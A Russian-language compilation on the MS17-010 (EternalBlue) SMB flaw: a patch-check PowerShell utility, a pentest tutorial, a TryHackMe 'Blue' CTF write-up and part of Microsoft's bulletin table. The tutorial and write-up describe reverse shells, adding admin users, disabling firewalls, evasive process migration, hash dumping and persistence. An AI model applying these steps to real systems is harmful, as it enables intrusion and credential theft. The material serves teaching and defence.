Утилита для проверки наличия установленного обновления MS17-010
Утилита позволяет быстро провести анализ сети на наличие хостов, на которых отсутствует обновление MS17-010. Это обновление закрывает уязвимости CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147 и CVE-2017-0148, часть из которых используются в эксплоите EternalBlue. В частности, данную уязвимость эксплуатирует Wana decrypt0r.
Способы проверки
1. Проверка через WMI
wmic qfe get HotFixID | findstr /c:4012212 /c:4012213 /c:4012214 /c:4012215 /c:4012216 /c:4012217 /c:4012598 /c:4012606 /c:4013198 /c:4013429
Если есть результат выполнения этой команды, то обновление MS17-010 у вас установлено. В некоторых случаях WMI запрос не находит все установленные обновления. Это связано с тем, что класс Win32_QuickFixEngineering возвращает только те обновления, которые установлены с использованием Component Based Servicing (CBS). Те обновления, которые установлены с помощью Microsoft Windows Installer (MSI) или с сайта обновлений Windows, не детектируются через WMI. Поэтому есть следующий способ проверки установленных обновлений:
2. Проверка через обращение к службе Windows Update (PowerShell)
$KB = @() $KB += "4012212" # Security only update for Windows 7 and Windows Server 2008 R2 $KB += "4012213" # Security only update for Windows 8.1 and Windows Server 2012 R2 $KB += "4012214" # Security only update for Windows Server 2012 $KB += "4012215" # Monthly rollup (March 2017) for Windows 7 and Windows Server 2008 R2 $KB += "4012216" # Monthly rollup (March 2017) for Windows 8.1 and Windows RT 8.1 and Windows Server 2012 R2 $KB += "4012217" # Monthly rollup (March 2017) for Windows 8 and Windows Server 2012 $KB += "4012598" # Other old Windows versions https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ $KB += "4012606" # Cumulative update (March 14, 2017) for Windows 10 $KB += "4013198" # Cumulative update (March 14, 2017) for Windows 10 1511 $KB += "4013429" # Cumulative update (March 14, 2017) for Windows 10 1607 $KB += "4015217" # Cumulative update (April 11, 2017) for Windows 10 1607 $KB += "4015219" # Cumulative update (April 11, 2017) for Windows 10 1511 $KB += "4015221" # Cumulative update (April 11, 2017) for Windows 10 $KB += "4015438" # Cumulative update (March 20, 2017) for Windows 10 1607 $KB += "4015549" # Monthly rollup (April 2017) for Windows 7 and Windows Server 2008 R2 $KB += "4015550" # Monthly rollup (April 2017) for Windows 8.1 and Windows Server 2012 R2 $KB += "4015551" # Monthly rollup (April 2017) for Windows 8 and Windows Server 2012 $KB += "4016635" # Cumulative update (March 22, 2017) for Windows 10 1607 $KB += "4016636" # Cumulative update (March 22, 2017) for Windows 10 1511 $KB += "4016637" # Cumulative update (March 22, 2017) for Windows 10 $KB += "4016871" # Cumulative update (May 9, 2017) for Windows 10 1703 $KB += "4019215" # Monthly rollup (May 2017) for Windows 8.1 and Windows Server 2012 R2 $KB += "4019216" # Monthly rollup (May 2017) for Windows 8 and Windows Server 2012 $KB += "4019264" # Monthly rollup (May 2017) for Windows 7 and Windows Server 2008 R2 $KB += "4019472" # Cumulative update (May 9, 2017) for Windows 10 1607 $KB += "4019473" # Cumulative update (May 9, 2017) for Windows 10 1511 $KB += "4019474" # Cumulative update (May 9, 2017) for Windows 10 $Session = New-Object -ComObject Microsoft.Update.Session $Searcher = $Session.CreateUpdateSearcher() $HistoryCount = $Searcher.GetTotalHistoryCount() $Updates = $Searcher.QueryHistory(0, $HistoryCount) Foreach ($item in $Updates) { if ($item.Title -match [String]::Join("|", $KB)) { Write-Host 'MS17-010 installed' } }
rvision-ms17010.ps1
Изложенные выше способы проверки наличия установленного обновления MS17-010 были использованы при написании скрипта rvision-ms17010.ps1. Для удаленного подключения к службе WMI используется команда Get-WmiObject, а для удаленного подключения к локальной службе Windows Update используется Windows Remote Management (WinRM). Если на удаленном узле не сконфигурирована служба WinRM, то проверка осуществляется только через WMI. Функции сканирования сети были заимствованы из пакета LazyAdmin.
Использование rvision-ms17010.ps1
- Сканирует заданную сеть на наличие установленного обновления MS17-010 с использованием текущей учетной записи пользователя
.\rvision-ms17010.ps1 -StartIPv4Address 10.0.0.0 -EndIPv4Address 10.0.0.254
- Если текущая учетная запись не имеет доступна к WMI, то есть возможность запустить скрипт от имени другого пользователя
.\rvision-ms17010.ps1 -StartIPv4Address 10.0.0.0 -EndIPv4Address 10.0.0.254 -UseCredentials
- Для отображения информации о том, включен ли протокол SMBv1 на удаленном хосте, добавьте аргумент -IncludeSMB
.\rvision-ms17010.ps1 -StartIPv4Address 10.0.0.0 -EndIPv4Address 10.0.0.254 -UseCredentials -IncludeSMB
Пример использования скрипта:
PS C:\> .\rvision-ms17010.ps1 -StartIPv4Address 10.0.0.0 -EndIPv4Address 10.0.0.254 -UseCredentials -IncludeSMB IPv4Address Hotfix SMBv1 Hostname ----------- ------ ----- -------- 10.0.0.2 Ok Disabled dc1.int.lan 10.0.0.3 *** NOT INSTALLED *** Disabled dc2.int.lan 10.0.0.4 *** NOT INSTALLED *** Disabled mail.int.lan 10.0.0.5 Ok Disabled sqldb.int.lan 10.0.0.12 *** NOT INSTALLED *** *** ENABLED *** si.int.lan 10.0.0.14 Ok *** ENABLED *** fp.int.lan 10.0.0.15 *** NOT INSTALLED *** *** ENABLED *** sp.int.lan 10.0.0.16 *** NOT INSTALLED *** *** ENABLED *** siem.int.lan 10.0.0.235 *** NOT INSTALLED *** *** ENABLED *** WIN8EN64 10.0.0.241 *** NOT INSTALLED *** WIN7RU32 10.0.0.242 Ok WIN7EN32 10.0.0.245 Ok *** ENABLED *** WIN10RU64 10.0.0.246 *** NOT INSTALLED *** *** ENABLED *** WIN10EN32 10.0.0.247 *** NOT INSTALLED *** *** ENABLED *** WIN10EN64 10.0.0.254 *** NOT INSTALLED *** *** ENABLED *** WIN2K12R2EN
Чтобы отобразить статус подключения к службе WinRM, необходимо добавить аргумент -IncludeWinRM
.\rvision-ms17010.ps1 -StartIPv4Address 10.0.0.0 -EndIPv4Address 10.0.0.254 -UseCredentials -IncludeWinRM
Возможные ошибки в процессе выполнения скрипта
.\rvision-ms17010.ps1 : File C:\ms17-010-master\rvision-ms17010.ps1 cannot be loaded. The file C:\ms17-010-master\rvisi
on-ms17010.ps1 is not digitally signed. You cannot run this script on the current system. For more information about ru
nning scripts and setting execution policy, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=1351
70.
At line:1 char:1
+ .\rvision-ms17010.ps1 -StartIPv4Address 10.0.0.0 -EndIPv4Address 10.0.0.254
+ ~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
Исправляется путем выполнения команды Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
История вопроса
Уязвимости, описанные в MS Security Bulletin под номером 17-010, прогремели в 2017 году на весь мир. И было отчего! На базе этих уязвимостнй NSA разработало атаку EternalBlue («Вечная синева», «бесконечная грусть»), которую и использовало задолго до официального обнаружения уязвимости. Вместе с бэкдором DoublePulsar атака EternalBlue входила в набор утилит NSA, который стал доступным общественности благодаря действиям хакерской группы Shadow Brokers. Стоит отметить, что утилиты NSA были существенно доработаны исследователем Шоном Диллоном. На базе этих же уязвимостей функционируют многие зловреды, например: WannaCry, NotPetya и Retefe.
Эта весьма серьёзная проблема затрагивает операционные системы Windows. Подробную информацию о версиях можно (и нужно) получить на сайте производителя, то есть Microsoft: https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010 . В большой таблице за EternalBlue ответственна CVE-2017-0144.
Даже не владеющему английским языком читателю будет несложно увидеть, что в списке присутствуют: Windows Vista, 7, 8.1, 10; Windows Server 2008, 2012, 2016 — то есть вполне современные версии ОС, широко представленные в сетях компаний, которые могут оказаться целью хакерской атаки. Windows XP, 8, Windows Server 2003 также подвержены этой проблеме. Из бюллетеня видно, что MS17-010 включает в себя несколько различных программных ошибок в Windows SMB Server, точнее в SMBv1.
Что же это за сервис и насколько широко он используется?
SMB — server message block — протокол, позволяющий компьютерам в локальной сети получать доступ к совместным ресурсам (shared resources), таким как файлы и принтеры, видеть друг друга в локальной сети и т.п.. Полное описание сильно выходит за рамки данной статьи, но что важно: SMB жизненно важен для функционирования Windows и всегда присутствует в системе. До 2006 года существовала только версия SMBv1, как раз та, которую эксплуатирует EternalBlue. Windows Vista и 8, хотя и поддерживают вторую версию протокола, переходят на первую в случае, если их визави отказывается от использования SMBv2. Системы, где поддержка SMBv1 отсутствует по умолчанию — Windows 10 Fall Creators Update и Windows Server, version 1709 (RS3)*1. Поддержка SMBv2 в Linux ядрах появилась только с версии 3.7, Apple добавил поддержку SMBv2 в версии OS X 10.9.
Таким образом можно сделать вывод, что в большинстве более-менее крупных сетей шансы встретиться с хостом, отвечающим по SMBv1, достаточно велики.
Что же даёт эксплуатация такой уязвимости?
Возможности, которые получает атакующий, почти безграничны! В случае удачной атаки хакер получает возможность исполнения на хосте-жертве произвольного кода с привилегиями System — наивысшими возможными в Windows. Вот только некоторые из возможных последствий: получение полной конфигурации (и перечня защитных механизмов, то есть конфигурация Windows Defender, установленные HIDS и их конфигурация и так далее), утечка информации о пользователях и их правах, утечка хэшей паролей (с последующим перебором для восстановления паролей), утечка информации kerberos (с последующим восстановлением паролей и генерацией серебряных билетов) — то есть в перспективе полная компрометация всего домена.
Немного теории
Проблема возникает при сбое в обработке SMB-запроса (естественно, в связи с тем, что он некорректно составлен). Структура сообщений SMB задокументирована и доступна на сайте Microsoft*2. В рамках MS17-010 рассматриваются девять различных багов. Самыми интересными из них являются: Wrong type assigment in SrvOs2FeaListSizeToNt(), приводящая к переполнению буфера и Transaction secondary can be used with any transaction type, который заключается в том, что сервер не проверяет последовательность команд при выполнении SMB-транзакции, что приводит к возможности посылки очень больших сообщений (что необходимо для того, чтобы затриггерить предыдущий баг). Таким образом, для эксплуатации бага необходимо иметь возможность посылать транзакционные команды и иметь доступ к любой share (вполне подходит IPC$).
Идеальным вариантом для эксплуатации является система с версией ниже Win8, так как в этом случае нам будут доступны anonymous (NULL) session, то есть для успешной эксплуатации не требуется никаких дополнительных знаний о пользовательских аккаунтах или named pipes.
Эксплуатация уязвимости
Итак, довольно скучной теории, переходим к практике. Что же нам понадобится, чтобы захватить уязвимый хост?
Во-первых, машина, на которой мы сможем запускать наши скрипты. Я использую kali Linux, один из стандартных дистрибутивов для специалиста по кибербезопасности. Вы можете использовать любую машину с установленным интерпретатором python. Вычислительная мощность и скорость подключения к сети особого значения не имеет (в разумных пределах).
Во-вторых, для обнаружения уязвимых хостов удобно использовать утилиту nmap. Этот известный продукт вот уже десятилетия незаменим при сканировании сетей. Нам он понадобится для определения версии ОС и используемого протокола SMB. Такое предварительной сканирование в большой сети позволит сразу очертить круг потенциальных целей и в дальнейшем не тратить время на неподходящие хосты.
В-третьих, для генерации «полезной нагрузки» удобно использовать утилиту msfvenom, которая сама по себе достойна отдельной статьи. В случае её отсутствия можно использовать готовые шеллкоды, но я не рекомендую этот вариант, не только по причинам небезопасности неизвестного шеллкода, но и по причинам ограниченности такого подхода (вряд ли вы найдёте шеллкод с реверс-шеллом на нужный вам ip и порт).
В-четвёртых, metasploit. Конечно, можно использовать его встроенные модули для эксплуатации MS17-010, но в этой статье мы будем использовать более гибкий метод, а metasploit будет исползоваться исключительно для поиска named pipes, если такая необходимость возникнет.
И, наконец, наша звезда — набор утилит для эксплуатации. В этой статье используется набор, который можно загрузить с GitHub из репозитория пользователя worawit: https://github.com/worawit/MS17-010. Скачайте его либо командой
git clone https://github.com/worawit/MS17-010.git
либо как архив — как вам удобнее.
Также необходимо некоторое количество потенциально уязвимых хостов, на которых у вас есть разрешение на проведение тестов. Если у вас есть выбор, попробуйте Windows 2000, Windows 7, Windows 8 и Windows Server 2012 — чтобы оценить различные варианты работы скриптов.
Работа строится по несложному алгоритму: сканирование портов, определение версии ОС, проверка возможности эксплуатации уязвимости, атака. При необходимости — коррекция ошибок и повторная атака.
При первом сканировании мы устанавливаем, какие открытые порты имеются в системе. Имеет смысл вначале проводить только сканирование TCP портов — как правило оно даёт достаточно информации. UDP-сканирование значительно медленнее.
- Nmap — TCP сканирование с попыткой установления соединения
На рисунке представлено сканирование выбранного хоста (10.11.1.227) по протоколу TCP типа попытки установления соединения на 50 наиболее часто спользуемых портов (по данным разработчиков nmap). Дополнительно имеет смысл использовать ключи -oN (сохранение результата в файл) или даже -oA, если планируется использовать автоматические системы анализа, -vv, если необходима дополнительная информация и -Pn, если хост не отвечает на пакеты ping (или если мы точно знаем, что он доступен).
Поскольку сканирование прошло очень быстро, можно провести и UDP-scan. Его результат приведён на рисунке 2.
- Nmap — UDP сканирование
Итак мы видим, что перед нами явно Windows — по характерному набору открытых портов. Кроме того, мы можем предположить, что данный хост используется в качестве сервера (запущены сервисы ftp, smtp, http, snmp). Это интересная цель.
Для более подробного определения ОС можно использовать ключ nmap -O, однако можно попробовать получить необходимую информацию и во время сканирования smb сервиса, который, как мы видим, доступен. Результаты приведены на рисунке 3.
- Nmap — SMB сканирование
Я намеренно не использую группу скриптов smb-vuln*, поскольку существует небольшая вероятность вызвать сбой на исследуемом хосте. Мы видим, что данное сканирование достаточно шумно, но SMBv1 настолько «разговорчив» сам по себе, что такое сканирование не обязательно будет выделяться в общем потоке трафика.
Результаты сканирования показывают, что:
1) мы имеем дело с Windows 2000 — потенциально уязвимой системой;
2) IPC$ доступен для чтения анонимному пользователю (Null session) и для чтения и записи пользователю «Guest» — то, что нужно для запуска эксплойта
3) есть ещё доступная сетевая папка — её содержимое, безусловно, нас интересует, но не входит в рамки данной статьи.
Для полной уверенности в том, что наша цель уязвима, используем скрипт checker.py из скачанного набора.
- Использование утилиты checker
Результат работы скрипты показывает, что цель уязвима, а также показывает некоторые из доступных named pipes. Кроме того, мы видим, что эта система 32-битная (для Win2k это очевидно, но для других ОС возможны варианты).
Теперь нам нужно выбрать подходящий скрипт из набора. Для этого нужно заглянуть в файл README.md. Видим: «zzz_exploit.py Exploit for Windows 2000 and later (requires access to named pipe)». Заглянем внутрь этого скрипта (для краткости приведена только наиболее интересная часть листинга):
- Выдержка из листинга zzz_exploit.py
Мы видим, что сейчас запуск этого эксплойта приведёт к созданию файла «pwned.txt» на целевой системе. Однако скрипт легко изменить таким образом, чтобы загрузить и исполнить произвольный файл.
Вначале посмотрим, как отрабатывает скрипт в исходном варианте:
- Exploit Win2k
Мы видим, что всё прошло успешно и файл был создан. Однако, интересно протестировать и более агрессивный вариант. Модифицируем файл эксплойта — например на рисунке ниже добавлен код, загружающий на устройство reverse shell (и вызывающий его, конечно же), а также создающий пользователя, добавляющий его в группу локальных администраторов, открывающий доступ по RDP и отключающий фаервол.
- Модификации эксплойта
Конечно в реальности мы будем использовать только один из вариантов, но в качестве примера такой листинг удобен.
Для того, чтобы всё это сработало в полном объёме, нужен собственно reverse shell, который мы хотим запустить. Для того, чтобы его сделать, в свою очередь, нужна утилита msfvenom.
Вот таким образом мы можем создать эксплойт, который будет открывать reverse shell на указанный нами адрес и порт:
- Генерация payload’a с помощью msfvenom
В качестве ОС для нашей нагрузки мы указываем windows — что соответствует 32-битной версии. Для 64-битной строка будет выглядеть как windows/x64. В качестве желаемой нагрузки выбран reverse TCP shell без предзагрузчика (non-staged payload). В параметрах указан ip адрес и порт, на которые мы хотим открыть соединение (в данном случае наша Кали). Exitfunc=thread позволит нашему процессу выполняться в отдельном треде (и не завершиться по окончании основного процесса, а продолжить работу). Также указываем формат вывода — hexadecimal codes для eternalblue_exploit7.py (подробнее чуть ниже) и exe для zzz_exploit.py. Последний штрих — имя файла, в который сохраняется payload. Я предпочитаю давать эксплойтам названия, включающие некоторую информацию о том, как их предполагается использовать, но в целом это дело вкуса.
Обратите внимание, что в коде эксплойта выше указано другое название payload’a. Этот момент нужно подправить перед запуском — если вы собираетесь использовать эксплойт часто, имеет смысл добавить имя файла в возможные агрументы командной сроки.
Вот результат успешного выполнения скрипта на Win8:
- RDP включен
Мы видим, что RDP соединение готово к установке. Cоглашаемся принять сертификат и видим десктоп:
- Захваченный десктоп
Поскольку наш пользователь входит в группу локальных администраторов, нам открываются широкие перспективы по разработке захваченной системы, но это тема для отдельной статьи.
Похожим образом используются и другие скрипты. Однако для eternalblue_exploit*.py подготовка payload’a выглядит чуть интереснее. Вначале мы собираем shellcode c помощью nasm
- Сборка шеллкода
Затем генерируем payload. Если используется нагрузка в виде reverse shell’a, то можно склеить вместе версии для 32 и 64-битных ОС. Если же хочется, например, добавить пользователя, то мы ограничимся 32-битной архитектурой (работать будет и на 64-битной системе). Для склейки в наборе утилит есть скрипт eternalblue_sc_merge.py
- Склейка эксплойта
Перед запуском мы стартуем наш листенер (nc). Порты ниже 1024 требуют привилегий root. Порт 443 выбран из тех соображений, что он как правило открыт на фаерволе для исходящих соединений, и в то же время не подвергается синтаксическому анализу запросов (как, например, ftp или http).
Что может пойти не так?
- Конфигурация системы (то есть в первую очередь конфигурация фаервола) может запрещать исходящие соединения от недоверенных программ. Именно поэтому добавление пользователя и подключение RDP ак правило проходит проще, чем запуск reverse shell. Также в системе может быть отключен SMBv1, что делает её неподверженной атаке.
- В системе может быть установлен патч от Microsoft. Ничего не поделаешь, система неуязвима для рассматриваемого типа атак. О таком развитии событий нас вовремя предупредит checker.py.
- Новые версии Windows не содержат этой уязвимости. При первичном сканировании вы увидите, что система не подвержена этой уязвимости. Также, необходимо правильно выбрать скрипт исходя из атакуемой версии. Вот пример неправильно выбранной версии (эксплойт для Win7, система Win8.1)
12. Результат работы неверно выбранного скрипта
Корректируем наш выбор и получаем долгожданный доступ. Этот шелл не полностью интерактивен, как и положено шеллу нетката, но «улучшение» доступа — это отдельная интересная тема.
- Системный шелл в nc
После получения удобного доступа мы можем исследовать систему для получения дополнительной информации, собирать хэши паролей, добавлять пользователей, изменять настройки фаервола для сохранения доступа к системе (например, через rdp).
Поиск named pipe
Используемые эксплойтом named pipes могут быть недоступны. В таком случае нам понадобится найти подходящую named pipe. Для этого будем использовать metasploit. Утилита проводит перебор известных named pipes, лист можно дополнять. Можно написать и свой скрипт, но это отдельная тема.
- Metasploit: модуль Pipe auditor
В качестве RHOSTS необходимо указать атакуемую систему. SMBUser и SMBPass могут использоваться, если известна какая-либо учётная запись в системе. Выше было показано, что пользователь Guest не отключен — значит его можно использовать.
- Доступные named pipes на Win8
16. Доступные named pipes на Win2k
В случае, если Guest отключен, на системах новее Win8 нам понадобится найти учётную запись любого непривилегированного пользователя. В этом случае мы можем рассматривать данную атаку исключительно как способ повышения привилегий в системе, а не как способ получения доступа.
Уже упомянутый выше фаервол может блокировать действия эксплойта. В этом случае можно попробовать разные варианты — например, часто блокируется запуск reverse shell, но удаётся выполнить команды net и netsh, что позволит отключить фаервол, добавить пользователя, или же просто снять необходимые данные с помощью эксплойта.
Методы защиты от атаки логически вытекают из используемых для атаки методов.
- Отключение smbv1. Первая версия протокола SMB относится к категории deprecated. Если её отключение невозможно, необходим мониторинг SMB активности с помощью IDS.
- Установка апдейтов от Microsoft. В случае невозможности — вывод хостов из эксплуатации с заменой на современные версии ОС.
- Хорошей стратегией в большой сети будет мониторинг сетевого трафика с выявлением станций, использующих SMBv1. Далее необходимо провести анализ возможности отключения SMBv1 на них, а в случае невозможности — анализ целесообразности использования этих хостов, возможности временной изоляции за WAF, а также планирование их последующей модернизации.
Использованные материалы:
- https://docs.microsoft.com/en-us/windows-server/storage/file-server/troubleshoot/smbv1-not-installed-by-default-in-windows
- https://msdn.microsoft.com/en-us/library/ee441702.aspx
Приветствую всех обитателей форума. Здесь будет разобрана машина Blue TryHackME. Я постараюсь осветить уязвимость MS17-010, которая используется в данной задаче,
и которая наделала шуму в свое время.
В ходе атаки мы:
- Просканируем цель на наличие уязвимости.
- Используем эксплойт EternalBlue для получения доступа.
- Сделаем миграцию в более подходящий процесс.
- И получим все имеющиеся флаги.
- В дополнение используем С2, получим сессию и закрепимся в системе с помощью диспетчера задач. (это не обязательно, можно применять в других задачах)
Цель: 10.10.31.186
Используем детальное сканирование на уязвимости, используя NSE скрипты:
Обнаружена критическая уязвимость MS17-010
MS17-010 — критическая уязвимость в Microsoft Server Message Block v1 (SMBv1), обнаруженная в 2017 году. Позволяет злоумышленнику выполнять удаленный код (RCE) без аутентификации, используя специально сформированные SMB-запросы.
Также можно просканировать хост при помощи модуля в метасплоит «auxiliary/scanner/smb/smb_ms17_010»:
Мы будем использовать windows/smb/ms17_010_eternalblue модуль из Metasploit:
В итоге мы получаем сессию в meterpreter и командой getuid убеждаемся, что мы SYSTEM.
В дальнейшем мы будем мигрировать в другой процесс.
Основные причины для миграции в другой процесс:
1. Устойчивость (Persistence)
- Если текущий процесс завершится (например, пользователь закроет программу, в которую внедрен Meterpreter), то сессия также закроется.
- Чтобы избежать потери доступа, можно мигрировать в системный процесс, который стабилен и редко перезапускается.
2. Повышение привилегий
- Если ваш изначальный процесс работает без административных привилегий, можно попробовать мигрировать в процесс SYSTEM.
- Пример: процесс spoolsv.exe (диспетчер очереди печати) часто работает от имени NT AUTHORITY\SYSTEM.
3. Антидетект (Evasion)
- Антивирусы и системы обнаружения вторжений (IDS/IPS) могут быстро выявить вредоносный процесс и завершить его.
- Миграция в легитимный процесс (например, svchost.exe) помогает скрыть присутствие вредоносного кода.
4. Возможность выполнения Mimikatz и других атак
- Некоторые инструменты (например, Mimikatz) требуют участия в процессе с SYSTEM-привилегиями.
Лучше использовать процессы с более высоким PID от 1000. Так как процессы ниже — это критические системные процессы.
Если ты мигрируешь в критический системный процесс, и что-то пойдет не так, Windows может зависнуть, крашнуться или уйти в BSOD.
- Риск зависания или краша системы
- Антивирусы и EDR следят за системными процессами
- Многие процессы с низкими PIDs защищены от внедрения кода
В данном случае проверяем, какие процессы имеются, и выбор пал на 1288 spoolsv.exe:
Это служба диспетчера очереди печати:
- Работает с системными привилегиями
- Редко завершает работу, работает всегда
- Не вызывает подозрений в сетевых средах
- Доступен почти на всех версиях Windows
Мигрируем и получаем шелл:
Так как мы на правах системы, получаем дамп хешей:
В данном случае у нас есть только доступ к Jon:
Также можно сбрутить пароль, но в дальнейшем он не понадобится, так как доступов у нас нет практически никуда.
Поищем флаги в системе:
На этом я не остановился и попробовал сгенерировать нагрузку через С2 и загрузить ее. В итоге я получил сессию SYSTEM:
Далее я закрепился через планировщик задач. Это довольно попсовая техника, которую знают многие.
Создание задачи, которая будет запускаться каждую минуту, в данном случае:
В итоге через минуту прилетела еще одна сессия, это удобно использовать, если вас не устраивает сессия meterpreter:
Можно еще было сослаться на DoublePulsar — атаку, так как она использовалась APT-группировками в купе с EternalBlue для получения бэкдора.
Но я думаю, и этого хватит.
Итог:
MS17-010 остаётся ключевой уязвимостью в атакующих цепочках, при эксплуатации старых серверов и рабочих станций. Несмотря на наличие патчей, недостаточная кибергигиена позволяет злоумышленникам использовать её даже спустя годы.
Любая уязвимая система = потенциальная жертва атаки! Защита начинается с обновлений и контроля сетевого трафика.
Спасибо, что дочитали статью до конца! Если эта статья помогла вам лучше понять механизмы атак, не забывайте применять знания на практике: исследуйте, анализируйте и защищайте свою инфраструктуру. До новых встреч!
-
1737669307590.webp
9,5 КБ
· Просмотры: 67
-
1737669743157.webp
11,5 КБ
· Просмотры: 64
-
1737727732118.webp
23,4 КБ
· Просмотры: 62
The following software versions or editions are affected. Versions or editions that are not listed are either past their support life cycle or are not affected. To determine the support life cycle for your software version or edition, see Microsoft Support Lifecycle.
The severity ratings indicated for each affected software assume the potential maximum impact of the vulnerability. For information regarding the likelihood, within 30 days of this security bulletin’s release, of the exploitability of the vulnerability in relation to its severity rating and security impact, please see the Exploitability Index in the March bulletin summary.
Note Please see the Security Update Guide for a new approach to consuming the security update information. You can customize your views and create affected software spreadsheets, as well as download data via a restful API. For more information, please see the Security Updates Guide FAQ. As a reminder, the Security Updates Guide will be replacing security bulletins. Please see our blog post, Furthering our commitment to security updates, for more details.
Operating System |
Windows SMB Remote Code Execution Vulnerability – CVE-2017-0143 |
Windows SMB Remote Code Execution Vulnerability – CVE-2017-0144 |
Windows SMB Remote Code Execution Vulnerability – CVE-2017-0145 |
Windows SMB Remote Code Execution Vulnerability – CVE-2017-0146 |
Windows SMB Information Disclosure Vulnerability – CVE-2017-0147 |
Windows SMB Remote Code Execution Vulnerability – CVE-2017-0148 |
Updates Replaced |
Windows Vista |
|||||||
Windows Vista Service Pack 2 |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3177186 in MS16-114 |
Windows Vista x64 Edition Service Pack 2 |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3177186 in MS16-114 |
Windows Server 2008 |
|||||||
Windows Server 2008 for 32-bit Systems Service Pack 2 |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3177186 in MS16-114 |
Windows Server 2008 for x64-based Systems Service Pack 2 |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3177186 in MS16-114 |
Windows Server 2008 for Itanium-based Systems Service Pack 2 |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3177186 in MS16-114 |
Windows 7 |
|||||||
Windows 7 for 32-bit Systems Service Pack 1 |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
None |
Windows 7 for 32-bit Systems Service Pack 1 |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3212646 |
Windows 7 for x64-based Systems Service Pack 1 |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
None |
Windows 7 for x64-based Systems Service Pack 1 |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3212646 |
Windows Server 2008 R2 |
|||||||
Windows Server 2008 R2 for x64-based Systems Service Pack 1 |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
None |
Windows Server 2008 R2 for x64-based Systems Service Pack 1 |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3212646 |
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
None |
Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3212646 |
Windows 8.1 |
|||||||
Windows 8.1 for 32-bit Systems |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
None |
Windows 8.1 for 32-bit Systems |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3205401 |
Windows 8.1 for x64-based Systems |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
None |
Windows 8.1 for x64-based Systems |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3205401 |
Windows Server 2012 and Windows Server 2012 R2 |
|||||||
Windows Server 2012 |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
None |
Windows Server 2012 |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3205409 |
Windows Server 2012 R2 |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
None |
Windows Server 2012 R2 |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3205401 |
Windows RT 8.1 |
|||||||
Windows RT 8.1[2] |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3205401 |
Windows 10 |
|||||||
Windows 10 for 32-bit Systems |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3210720 |
Windows 10 for x64-based Systems |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3210720 |
Windows 10 Version 1511 for 32-bit Systems |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3210721 |
Windows 10 Version 1511 for x64-based Systems |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3210721 |
Windows 10 Version 1607 for 32-bit Systems |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3213986 |
Windows 10 Version 1607 for x64-based Systems |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3213986 |
Windows Server 2016 |
|||||||
Windows Server 2016 for x64-based Systems [3] |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3213986 |
Server Core installation option |
|||||||
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3177186 in MS16-114 |
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3177186 in MS16-114 |
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
None |
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3212646 |
Windows Server 2012 (Server Core installation) |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
None |
Windows Server 2012 (Server Core installation) |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3205409 |
Windows Server 2012 R2 (Server Core installation) |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
None |
Windows Server 2012 R2 (Server Core installation) |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3205401 |
Windows Server 2016 for x64-based Systems [3](Server Core installation) |
Critical |
Critical |
Critical |
Critical |
Important |
Critical |
3213986 |
[1]Beginning with the October 2016 release, Microsoft has changed the update servicing model for Windows 7, Windows Server 2008 R2, Windows 8.1, Windows Server 2012, and Windows Server 2012 R2. For more information, please see this Microsoft TechNet article.
[2]This update is only available via Windows Update.
[3] Windows 10 and Windows Server 2016 updates are cumulative. The monthly security release includes all security fixes for vulnerabilities that affect Windows 10, in addition to non-security updates. The updates are available via the Microsoft Update Catalog. Please note that effective December 13, 2016, Windows 10 and Windows Server 2016 details for the Cumulative Updates will be documented in Release Notes. Please refer to the Release Notes for OS Build numbers, Known Issues, and affected file list information.
*The Updates Replaced column shows only the latest update in any chain of superseded updates. For a comprehensive list of updates replaced, go to the Microsoft Update Catalog, search for the update KB number, and then view update details (updates replaced information is provided on the Package Details tab).
Intro
